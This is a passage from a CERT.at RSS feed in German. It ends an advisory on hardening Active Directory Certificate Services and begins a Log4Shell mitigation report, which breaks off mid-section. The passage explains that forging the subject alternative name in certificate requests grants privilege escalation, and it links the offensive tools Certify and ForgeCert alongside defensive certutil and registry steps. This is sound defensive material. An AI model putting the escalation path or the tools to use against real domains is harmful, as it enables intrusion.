&lt;p class=&quot;block&quot;&gt;Die Data Protection API (DPAPI) stellt eine Windows-Komponente dar, welche zum Schutz diverser, meistens kryptographischer, Daten genutzt werden kann. Beim Auslesen solcher&amp;nbsp;Dateien entstehen jedoch Artefakte, welche zur Detektion von missbr&amp;auml;uchlicher Nutzung der DPAPI herangezogen werden k&amp;ouml;nnen. Dies kann entweder &amp;uuml;ber ma&amp;szlig;geschneiderte SACLs passieren, oder &amp;uuml;ber die&amp;nbsp;integrierte&amp;nbsp;&lt;a title=&quot;https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-dpapi-activity&quot; href=&quot;https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-dpapi-activity&quot;&gt;Audit-Funktionalit&amp;auml;t&lt;/a&gt;.&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;K&amp;ouml;derzertifikate&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Eine weitere M&amp;ouml;glichkeit, die missbr&amp;auml;uchliche Nutzung von Zertifikaten in AD-Umgebungen zu erkennen, besteht im Erstellen eines &quot;K&amp;ouml;der-Zertifikats&quot;. Hierbei wird ein legitimer Benutzer-Account inklusive eines Authentifizierungs-Zertifikats erstellt, welches anschlie&amp;szlig;end als K&amp;ouml;der auf einem Netzwerklaufwerk oder an diversen Systempfaden abgelegt wird. Versucht ein Angreifer dieses Zertifikat zur Authentifizierung zu nutzen, alarmiert eine zus&amp;auml;tzlich angelegte SACL &amp;uuml;ber die Nutzung des Zertifikats (vgl. Canary-Tokens).&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Konfigurations&amp;auml;nderungen &amp;uuml;berwachen&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;W&amp;auml;hrend einige der Detektions-Mechanismen auf der Nutzung diverser Zertifikate oder speziellen Logs aufbauen, empfiehlt&amp;nbsp;es sich ebenfalls &amp;Auml;nderungen an der AD CS-Komponente selbst zu &amp;uuml;berwachen. Die Event-IDs 4890 und 4892 werden genutzt, um Einstellungs&amp;auml;nderungen in AD CS zu loggen. Event-ID 4882 protokolliert Modifikationen in AD CS zugeh&amp;ouml;rigen ACLs.&lt;/p&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;Pr&amp;auml;vention&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Die vorangegangen Abschnitte haben die Detektion und Ausnutzung der beschriebenen Fehlkonfigurationen behandelt. Es lassen sich jedoch auch pr&amp;auml;ventive Ma&amp;szlig;nahmen setzen, um die&amp;nbsp; Ausnutzung der beschriebenen Fehlkonfigurationen zu verhindern.&amp;nbsp;&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Admin-Tiering&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Als grunds&amp;auml;tzliche Ma&amp;szlig;nahme empfiehlt es sich, AD CS-Komponenten hinsichtlich ihrer Kritikalit&amp;auml;t exakt wie Domain Controller in einer AD Umgebung einzustufen. Hierzu z&amp;auml;hlen auch sogenannte &quot;subordinate&quot; oder Intermediate-CAs. Weitere Details bez&amp;uuml;glich Fehlkonfigurationen lassen sich aus dem &lt;a title=&quot;https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf#PKI%20Architecture%20Flaws&quot; href=&quot;https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf#PKI%20Architecture%20Flaws&quot;&gt;Whitepaper&amp;nbsp;entnehmen&lt;/a&gt;.&amp;nbsp;Die Umsetzung liefert der durch Microsoft bereitgestellte &lt;a title=&quot;https://docs.microsoft.com/en-us/security/compass/privileged-access-access-model#ADATM_BM&quot; href=&quot;https://docs.microsoft.com/en-us/security/compass/privileged-access-access-model#ADATM_BM&quot;&gt;&quot;Tiering-Guide&quot;&lt;/a&gt;.&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Hardening:&amp;nbsp;AD CS&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Im vorliegenden Fall wird durch das F&amp;auml;lschen des SANs, im Zuge der Erstellung einer CSR, eine Rechteausweitung erreicht. Ist es f&amp;uuml;r den Betrieb einer Dom&amp;auml;ne nicht erforderlich, das eigenst&amp;auml;ndige Definieren&amp;nbsp;des&amp;nbsp;SANs zuzulassen, sollte diese Funktionalit&amp;auml;t deaktiviert werden (ist dies nicht umsetzbar, sollte das &quot;Manager Approval&quot;-Feature aktiviert werden; dadurch m&amp;uuml;ssen erstellte Zertifikate vor der Nutzung dezidiert zugelassen werden).&amp;nbsp;Dies kann entweder durch das pr&amp;auml;ventive Setzen des SANs im Zertifikatstemplate erreicht, oder mithilfe dem&amp;nbsp;&lt;code&gt;EDITF_ATTRIBUTESUBJECTALTNAME2&lt;/code&gt;-Flag komponenten&amp;uuml;bergreifend umgesetzt werden (Anmerkung: Nutzen Sie hierzu das Kommando &lt;code&gt;certutil -config &quot;CA_HOST\CA_NAME&quot; -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2&lt;/code&gt;). Eine weitere Hardening-Ma&amp;szlig;nahme stellt das Entfernen der &quot;Enroll&quot;-Berechtigungen dar,&amp;nbsp;die ben&amp;ouml;tigt werden, um von AD CS Zertifikate anzufordern.&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Zertifikatsvorlagen regelm&amp;auml;&amp;szlig;ig sichten&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Das&amp;nbsp;Auditieren der momentan im Einsatz befindlichen Zertifikatsvorlagen stellt eine simple Ma&amp;szlig;nahme dar, welche regelm&amp;auml;&amp;szlig;ig durchgef&amp;uuml;hrt werden sollte. Falls im Zuge des Audits ungenutzte Vorlagen identifiziert werden, sollten diese gel&amp;ouml;scht werden. Eine Liste s&amp;auml;mtlicher Vorlagen l&amp;auml;sst sich mithilfe des Kommandos &lt;code&gt;certutil.exe -TCAInfo [DC=COMPANY,DC=COM]&lt;/code&gt; abrufen/erzeugen.&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Hardening: Zertifikatsvorlagen&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Eine weitere Ma&amp;szlig;nahme, um eine Ausnutzung diverser Fehlkonfigurationen zu verhindern, befindet sich in den &quot;Write&quot;-Berechtigungen von Zertifikats-Templates. Wer diese Berechtigungen besitzt, kann &amp;Auml;nderungen an Vorlagen vornehmen, welche eine Rechteausweitung erlauben. Zus&amp;auml;tzlich empfiehlt es sich, den &lt;a title=&quot;https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786426(v=ws.11)#controlling-user-added-subject-alternative-names&quot; href=&quot;https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786426(v=ws.11)#controlling-user-added-subject-alternative-names&quot;&gt;Abschnitt &quot;Controlling&amp;nbsp; Users added SANs&quot; aus der Hardening-Guideline zu AD CS&lt;/a&gt; zu beherzigen.&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;AD-Objekt &quot;NTAuthCertificates&quot;&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&amp;Uuml;ber das AD-Objekt &lt;code&gt;NTAuthCertificates&lt;/code&gt; wird gesteuert, welche CA-Zertifikate der AD CS-Komponente genutzt werden, um CSRs zu signieren die eine Domain-Authentifzierung erm&amp;ouml;glichen. Mithilfe des Kommandos &lt;code&gt;certutil -viewstore &quot;ldap:///CN=NtAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=?cACertificate?base?objectclass=certificationAuthority&quot;&lt;/code&gt; lassen sich die zugeordneten Zertifikate auflisten. Sollte eine Smart-Card oder Zertifikats-basierte Authentifizierung in einer Dom&amp;auml;ne nicht ben&amp;ouml;tigt werden, k&amp;ouml;nnen s&amp;auml;mtliche Zertifikate aus dem &lt;code&gt;NTAuthCertificates&lt;/code&gt;-AD-Objekt entfernt werden (Anmerkung: F&amp;uuml;hren Sie hierzu das Kommando &lt;code&gt;certutil -viewdelstore &quot;ldap:///CN=NtAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=?cACertificate?base?objectclass=certificationAuthority&quot;&lt;/code&gt; mit erh&amp;ouml;hten Rechten aus).&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Hardening: Private-Keys&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Grunds&amp;auml;tzlich empfiehlt es sich, kryptografisches Material durch sogenannte Hardware-Security-Modules (HSM) zu sch&amp;uuml;tzen, anstatt auf die DPAPI zur&amp;uuml;ckzugreifen. AD CS stellt zus&amp;auml;tzlich die Sicherheitsoption &quot;TPM-Attestation&quot; zur Verf&amp;uuml;gung, womit die Nutzung von Zertifikaten, welche nicht durch ein HSM gesichert sind, vollst&amp;auml;ndig unterbunden wird.&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Strikte Benutzerzuordnung&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Die Rechteausweitung mithilfe der Manipulation des SANs entsteht durch die Annahme, dass der SAN einer CSR den UserPrincipalName (UPN) des anfragenden AD-Objekts enth&amp;auml;lt. AD CS kann jedoch darauf konfiguriert werden, dieses explizite Mapping nicht vorzunehmen. Dazu muss auf &lt;strong&gt;jedem&lt;/strong&gt; DC der Dom&amp;auml;ne der Registry-Key &lt;code&gt;UseSubjectAltNames=0 (DWORD)&lt;/code&gt; im&amp;nbsp;Pfad&amp;nbsp;&lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Services\Kdc&lt;/code&gt; gesetzt werden. Die Umsetzung dieser Ma&amp;szlig;nahme f&amp;uuml;hrt jedoch auch dazu, dass eine Authentifizierung via Zertifikat &amp;uuml;ber Kerberos nicht mehr m&amp;ouml;glich ist (vgl. &quot;Error 75 - KDC_ERR_CLIENT_NAME_MISMATCH&quot;). Parallel dazu lassen sich Zertifikats-Authentifizierungen via Schannel ebenfalls blockieren (Setzen des Registry-Keys &lt;code&gt;CertificateMappingMethods=0x1&lt;/code&gt; oder&amp;nbsp;&lt;code&gt;CertificateMappingMethods=0x2&lt;/code&gt; im Verzeichnis &lt;code&gt;HKLM\CurrentControlSet\Control\SecurityProviders\SCHANNEL&lt;/code&gt;).&lt;/p&gt;&#13;
&lt;h3 class=&quot;block&quot;&gt;Hardening: AD CS Http-Endpunkte&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Einige der beschriebenen Fehlkonfigurationen lassen sich &amp;uuml;ber die durch AD CS zur Verf&amp;uuml;gung gestellten HTTP-Endpunkte ausnutzen, welche per Standardeinstellung aktiviert sind. Da diese Endpunkte durch einen IIS-Webserver bereitgestellt werden, lassen sich auch dessen Logs f&amp;uuml;r weitere Analysen heranziehen (standardm&amp;auml;&amp;szlig;ig zu finden unter &lt;code&gt;C:\inetpub\logs\LogFiles\&lt;/code&gt;). Werden diese nicht ben&amp;ouml;tigt, empfiehlt&amp;nbsp;sich das vollst&amp;auml;ndige Deaktivieren der HTTP-Endpunkte (sollte dies nicht umsetzbar sein, kann die Nutzung von HTTPS f&amp;uuml;r AD CS erzwungen werden, wodurch&amp;nbsp;die Verbindung zwischen AD CS und einem System zus&amp;auml;tzlich abgesichert werden kann).&amp;nbsp;&lt;/p&gt;&#13;
&lt;h2 id=&quot;additionalRessources&quot; class=&quot;block&quot;&gt;Zus&amp;auml;tzliche Resourcen&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Im Artikel f&amp;uuml;hrt CERT.at bewusst lediglich Kommandos an, welche nativ unter Windows verf&amp;uuml;gbar sind. Die Autoren der Studie verweisen jedoch zus&amp;auml;tzlich auf Tools, welche frei auf Github verf&amp;uuml;gbar sind:&lt;/p&gt;&#13;
&lt;ul&gt;&#13;
&lt;li class=&quot;block&quot;&gt;&lt;a title=&quot;https://github.com/GhostPack/PSPKIAudit&quot; href=&quot;https://github.com/GhostPack/PSPKIAudit&quot;&gt;Tool &quot;PSPKIAudit&quot;&lt;/a&gt;&lt;/li&gt;&#13;
&lt;li class=&quot;block&quot;&gt;&lt;a title=&quot;https://github.com/GhostPack/Certify&quot; href=&quot;https://github.com/GhostPack/Certify&quot;&gt;Tool &quot;Certify&quot;&lt;/a&gt;&lt;/li&gt;&#13;
&lt;li class=&quot;block&quot;&gt;&lt;a title=&quot;https://github.com/GhostPack/ForgeCert&quot; href=&quot;https://github.com/GhostPack/ForgeCert&quot;&gt;Tool &quot;ForgeCert&quot;&lt;/a&gt;&lt;/li&gt;&#13;
&lt;/ul&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Das &lt;code&gt;PSPKIAudit&lt;/code&gt;-Tool kann genutzt werden, um die angef&amp;uuml;hrten Fehlkonfigurationen in eigenen AD-Umgebungen teilweise automatisiert zu testen. Die beiden Tools &lt;code&gt;Certify&lt;/code&gt;&amp;nbsp;und &lt;code&gt;ForgeCert&lt;/code&gt; setzen auf der offensiven Seite an und erm&amp;ouml;glichen das Ausnutzen diverser Fehlkonfigurationen &amp;uuml;ber pr&amp;auml;parierte Zertifikate und CSRs.&lt;/p&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;Informationsquelle(n):&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;em&gt;Original Whitepaper der Sicherheitsforscher &quot;Certified Pre-Owned&quot; (Englisch)&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf&quot;&gt;https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf&lt;/a&gt;&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Zusammenfassender Blogpost der Sicherheitsforscher zum Whitepaper (Englisch)&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://posts.specterops.io/certified-pre-owned-d95910965cd2&quot;&gt;https://posts.specterops.io/certified-pre-owned-d95910965cd2&lt;/a&gt;&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Black Hat Talk der Sicherheitsforscher zum Whitepaper (Englisch)&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=ejmAIgxFRgM&amp;amp;ab_channel=BlackHat&quot;&gt;https://www.youtube.com/watch?v=ejmAIgxFRgM&amp;amp;ab_channel=BlackHat&lt;/a&gt;&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Securing Public Key Infrastructure (PKI) - Doc (Englisch)&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://aka.ms/securingpki&quot;&gt;https://aka.ms/securingpki&lt;/a&gt;&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Securing Public Key Infrastructure (PKI) (Englisch)&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786443(v=ws.11)&quot;&gt;https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786443(v=ws.11)&lt;/a&gt;&lt;/em&gt;&lt;br /&gt; &lt;em&gt;AD CS Security Guidance (Englisch)&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://social.technet.microsoft.com/wiki/contents/articles/10942.ad-cs-security-guidance.aspx&quot;&gt;https://social.technet.microsoft.com/wiki/contents/articles/10942.ad-cs-security-guidance.aspx&lt;/a&gt;&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Best Practices for Securing Active Directory (Englisch)&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory&quot;&gt;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory&lt;/a&gt;&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Audit DPAPI Activity (Englisch)&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-dpapi-activity&quot;&gt;https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-dpapi-activity&lt;/a&gt;&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Enterprise access model (Englisch)&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/security/compass/privileged-access-access-model#ADATM_BM&quot;&gt;https://docs.microsoft.com/en-us/security/compass/privileged-access-access-model#ADATM_BM&lt;/a&gt;&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Tool: PSPKIAudit&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://github.com/GhostPack/PSPKIAudit&quot;&gt;https://github.com/GhostPack/PSPKIAudit&lt;/a&gt;&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Tool: Certify&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://github.com/GhostPack/Certify&quot;&gt;https://github.com/GhostPack/Certify&lt;/a&gt;&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Tool: ForgeCert&lt;/em&gt;&lt;br /&gt; &lt;em&gt;&lt;a href=&quot;https://github.com/GhostPack/ForgeCert&quot;&gt;https://github.com/GhostPack/ForgeCert&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#13;
&lt;hr /&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;&lt;em&gt;Disclaimer&lt;/em&gt;&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;em&gt;Die hier angef&amp;uuml;hrten Skripte und L&amp;ouml;sungen wurden seitens CERT.at getestet. Dennoch liegt die alleinige Verantwortung der Nutzung der hier angef&amp;uuml;hrten Informationen beim Nutzer/Nutzerin. Jegliche Haftung der CERT.at ist explizit ausgeschlossen.&lt;/em&gt;&lt;/p&gt;</description><pubDate>Thu, 03 Feb 2022 16:07:38 GMT+0100</pubDate><guid>https://www.cert.at/de/spezielles/2022/2/special-report-die-tucken-von-active-directory-certificate-services-ad-cs</guid><dc:creator>CERT.at</dc:creator><dc:date>2022-02-03T16:07:38Z</dc:date></item><item><title>Special Report: Empfehlungen zu Log4Shell</title><link>https://www.cert.at/de/spezielles/2021/12/special-report-empfehlungen-zu-log4shell</link><description>&lt;p class=&quot;block&quot;&gt;14. Dezember 2021&lt;/p&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;Dokumenthistorie&lt;/h2&gt;&#13;
&lt;table style=&quot;width: 734px; height: 98px;&quot; cellspacing=&quot;2&quot; cellpadding=&quot;2&quot;&gt;&#13;
&lt;tbody&gt;&#13;
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&lt;td style=&quot;height: 16px; width: 481.533px;&quot;&gt;weitere Mitigations&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr style=&quot;height: 16px;&quot;&gt;&#13;
&lt;td style=&quot;height: 16px; width: 80px;&quot;&gt;1.3&lt;/td&gt;&#13;
&lt;td style=&quot;height: 16px; width: 169.467px;&quot;&gt;&amp;nbsp;23.12.2021&amp;nbsp;14:45&amp;nbsp;&lt;/td&gt;&#13;
&lt;td style=&quot;height: 16px; width: 481.533px;&quot;&gt;CVE(s) erg&amp;auml;nzt, Aktualisierung der gefixten Versionen&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;tr style=&quot;height: 16px;&quot;&gt;&#13;
&lt;td style=&quot;height: 16px; width: 80px;&quot;&gt;1.4&lt;/td&gt;&#13;
&lt;td style=&quot;height: 16px; width: 169.467px;&quot;&gt;&amp;nbsp;29.12.2021 12:10&amp;nbsp;&lt;/td&gt;&#13;
&lt;td style=&quot;height: 16px; width: 481.533px;&quot;&gt;CVE erg&amp;auml;nzt, Aktualisierung der gefixten Versionen, weitere Sampledaten&lt;/td&gt;&#13;
&lt;/tr&gt;&#13;
&lt;/tbody&gt;&#13;
&lt;/table&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&amp;nbsp;&lt;/p&gt;&#13;
&lt;h2 class=&quot;block&quot;&gt;Allgemeines&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;In einer weit verbreiteten&amp;nbsp;Java-Bibliothek (log4j) existiert eine kritische Schwachstelle, auch &lt;em&gt;&quot;Log4Shell&quot;&lt;/em&gt; genannt, welche im Worst-Case die vollst&amp;auml;ndige &amp;Uuml;bernahme des betroffenen Systems erm&amp;ouml;glicht. &quot;Weit verbreitet&quot; bedeutet in diesem Fall eine gro&amp;szlig;e Anzahl an unterschiedlicher &lt;a href=&quot;https://github.com/NCSC-NL/log4shell/tree/main/software&quot;&gt;Software und Appliances&lt;/a&gt; welche auf den ersten Blick nichts mit JAVA zu tun haben m&amp;uuml;ssen. Die &lt;a href=&quot;https://logging.apache.org/log4j/2.x/download.html&quot;&gt;Version 2.16.0&lt;/a&gt; behebt das Problem und ist bereits verf&amp;uuml;gbar. Lesen Sie hierzu auch unsere separate &lt;a title=&quot;https://cert.at/de/warnungen/2021/12/kritische-0-day-sicherheitslucke-in-apache-log4j-bibliothek&quot; href=&quot;https://cert.at/de/warnungen/2021/12/kritische-0-day-sicherheitslucke-in-apache-log4j-bibliothek&quot;&gt;Warnung&lt;/a&gt; welche laufend aktualisiert wird. Zus&amp;auml;tzlich werden externe Scans ausgewertet, und betroffene Unternehmen durch uns kontaktiert.&amp;nbsp;&lt;/p&gt;&#13;
&lt;div style=&quot;margin-left: 20px; border-left: solid black 1px; padding-left: 5px;&quot;&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;strong&gt;Update: 23. Dezember 2021&lt;/strong&gt;&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Nach Behebung der urspr&amp;uuml;nglichen Schwachstelle CVE-2021-44228 mit Log4j Version 2.15, stellte sich heraus, dass dieser Fix nur unzureichend war und Version 2.15 f&amp;uuml;r die neu entdeckte Schwachstelle&amp;nbsp;&lt;a title=&quot;https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/&quot; href=&quot;https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/&quot;&gt;CVE-2021-45046&lt;/a&gt; verwundbar ist. Inital als DoS klassifiziert, wurde diese Sicherheitsl&amp;uuml;cke zur RCE mit einem CVSS Score von 9.0 hochgestuft. Log4j Version 2.16 behebt zwar auch dieses Problem, ist jedoch wiederum f&amp;uuml;r die kurz nach Ver&amp;ouml;ffentlichung des Updates gefundene Schwachstelle &lt;a title=&quot;https://snyk.io/blog/log4j-2-16-vulnerability-cve-2021-45105-discovered/&quot; href=&quot;https://snyk.io/blog/log4j-2-16-vulnerability-cve-2021-45105-discovered/&quot;&gt;CVE-2021-45105&lt;/a&gt; (CVSS Score 7.5) anf&amp;auml;llig. Das erfolgreiche Ausn&amp;uuml;tzen dieser Sicherheitsl&amp;uuml;cke f&amp;uuml;hrt mittels eines rekursiven Lookups zu einem Denial-of-Service Zustand und einer Terminierung der Anwendung.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;strong&gt;Update: 29. Dezember 2021&lt;/strong&gt;&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Nach mehreren Patches f&amp;uuml;r die urspr&amp;uuml;nglich angreifbare Log4j-Version (2.14) ist es einem Sicherheitsforscher nun gelungen, auch die aktuellste Version (2.17) anzugreifen. Die Komplexit&amp;auml;t des Angriffs ist allerdings signifkant h&amp;ouml;her und erfordert als Grundvorraussetzung Konfigurationen, die nicht in den Standardeinstellungen vorgesehen sind. Eine Angreifer:in mit Zugriff auf die Konfigurationsdateien f&amp;uuml;r Log4j kann diese pr&amp;auml;parieren, um Log4j dazu zu bringen, einen JDBC-Adapter zu nutzen, um Ressourcen via JNDI nachzuladen.&lt;/p&gt;&#13;
&lt;/div&gt;&#13;
&lt;h2&gt;Detektion&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Um ihre Systeme auf betroffene Java-Komponenten auf Dateisystem-Ebene zu untersuchen, empfiehlt CERT.at den durch Logpresso bereitgestellten &lt;a href=&quot;https://github.com/logpresso/CVE-2021-44228-Scanner&quot;&gt;Scanner&lt;/a&gt;. Der Scanner steht sowohl als ausf&amp;uuml;hrbares Programm, als auch zum selber Kompilieren bereit. Netzwerkadministratoren, welche eine Flotte an Systemen &amp;uuml;ber das Netzwerk testen m&amp;ouml;chten, k&amp;ouml;nnen auf den&amp;nbsp;&lt;a href=&quot;https://github.com/fullhunt/log4j-scan&quot;&gt;Scanner&lt;/a&gt; von fullhunt.io zur&amp;uuml;ckgreifen. Dieser Scanner verwendet im Backend &lt;a href=&quot;https://github.com/projectdiscovery/interactsh&quot;&gt;Interactsh&lt;/a&gt;, welches selber betrieben werden kann.&lt;/p&gt;&#13;
&lt;h2&gt;Mitigationen&lt;/h2&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Aus der Branche haben wir von folgenden Mitigationen berichtet bekommen, welche zum Teil erfolgreich eingesetzt werden konnten:&lt;/p&gt;&#13;
&lt;h3&gt;Patchen, Patchen, Patchen!&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Zum jetzigen Zeitpunkt ist ein Update der &lt;code&gt;log4j&lt;/code&gt;-Bibliothek die nachhaltigste Mitigation. Neben neuen Standard-Einstellungen, welche dazu f&amp;uuml;hren, dass frische Neu-Installationen nicht verwundbar sind, wurden auch weitere Probleme im Bezug auf JNDI-Lookups behoben. In Version &lt;code&gt;2.16.0&lt;/code&gt; werden JNDI-Lookups standardm&amp;auml;&amp;szlig;ig nur auf &lt;code&gt;localhost&lt;/code&gt; durchgef&amp;uuml;hrt.&lt;/p&gt;&#13;
&lt;div style=&quot;margin-left: 20px; border-left: solid black 1px; padding-left: 5px;&quot;&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;strong&gt;Update: 23. Dezember 2021&lt;/strong&gt;&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Laut den aktualisierten &lt;a title=&quot;https://logging.apache.org/log4j/2.x/security.html&quot; href=&quot;https://logging.apache.org/log4j/2.x/security.html&quot;&gt;Patch Notes&lt;/a&gt; von Apache, sind die Sicherheitsl&amp;uuml;cken CVE-2021-45046 und CVE-2021-45105 in den folgenden Versionen behoben:&lt;/p&gt;&#13;
&lt;ul&gt;&#13;
&lt;li class=&quot;block&quot;&gt;CVE-2021-45046 (RCE): Log4j 2.16.0 (Java 8) und Log4j 2.12.2 (Java 7)&lt;/li&gt;&#13;
&lt;li class=&quot;block&quot;&gt;CVE-2021-45105 (DoS): Log4j 2.17.0 (Java 8), 2.12.3 (Java 7) und 2.3.1 (Java 6)&lt;/li&gt;&#13;
&lt;/ul&gt;&#13;
&lt;/div&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&amp;nbsp;&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;strong&gt;JNDI deaktivieren&lt;/strong&gt;&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&amp;Uuml;ber das Integrieren einer leeren &lt;code&gt;JndiLookup&lt;/code&gt;-Klasse kann das Aufl&amp;ouml;sen s&amp;auml;mtlicher JNDI-Direktiven unterbunden werden. Die Vorgehensweise hierzu, sowie die ben&amp;ouml;tigten Class-Files, aus folgendem&amp;nbsp;&lt;a href=&quot;https://github.com/Glavo/log4j-patch&quot;&gt;Repo&lt;/a&gt; k&amp;ouml;nnen als Vorlage f&amp;uuml;r eine eigene Umsetzung dienen. Der Patch gibt leere JNDI-Lookups zur&amp;uuml;ck, womit&amp;nbsp;Log4j2 umgehen kann.&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;strong&gt;Verwenden Sie niemals Code aus unbekannten Quellen, ohne diesen selber zu verstehen und gesichtet zu haben!&lt;/strong&gt;&lt;/p&gt;&#13;
&lt;h3&gt;Blockieren von ausgehendem Traffic&lt;/h3&gt;&#13;
&lt;p class=&quot;block&quot;&gt;Um im Falle eines erfolgreichen Angriffs&amp;nbsp;das Nachladen von Schadsoftware zu verhindern, k&amp;ouml;nnen Netzwerkverbindungen in ausgehender Richtung auf der Firewall blockiert werden. In manchen F&amp;auml;llen kann dies dazu f&amp;uuml;hren, dass die Funktionalit&amp;auml;t des Systems beeintr&amp;auml;chtigt wird - wo m&amp;ouml;glich empfehlen wir jedoch diese Ma&amp;szlig;nahme als zus&amp;auml;tzlichen Schutz umzusetzen. Eine &lt;code&gt;DENY ANY ANY&lt;/code&gt;-Regel auf Firewall-Ebene wird vorallem in Server-Netzwerken als Best-Practice erachtet und ist, falls nicht bereits implementiert, empfehlenswert. Je nach Hersteller und Produkt gestaltet sich die Umsetzung unterschiedlich.&amp;nbsp;&lt;/p&gt;&#13;
&lt;p class=&quot;block&quot;&gt;&lt;strong&gt;Das Blockieren von ausgehendem Netzwerk-Traffic&amp;nbsp;betroffener Systeme, kann Angriffe erschweren - es ist jedoch davon auszugehen das diese Mitigation keine nachhaltige Problembehebung darstellt. Zus&amp;auml;tzliche Mechanismen zur Sicherung des eigenen Netzwerkes sind jedoch grunds&amp;auml;tzlich empfehlenswert.&lt;/strong&gt;&lt;/p&gt;&#13;
&lt;h3&gt;Vulnerable log4j-core-*.jar/*.war/*.ear repackagen&lt;/h3&gt;&#13;
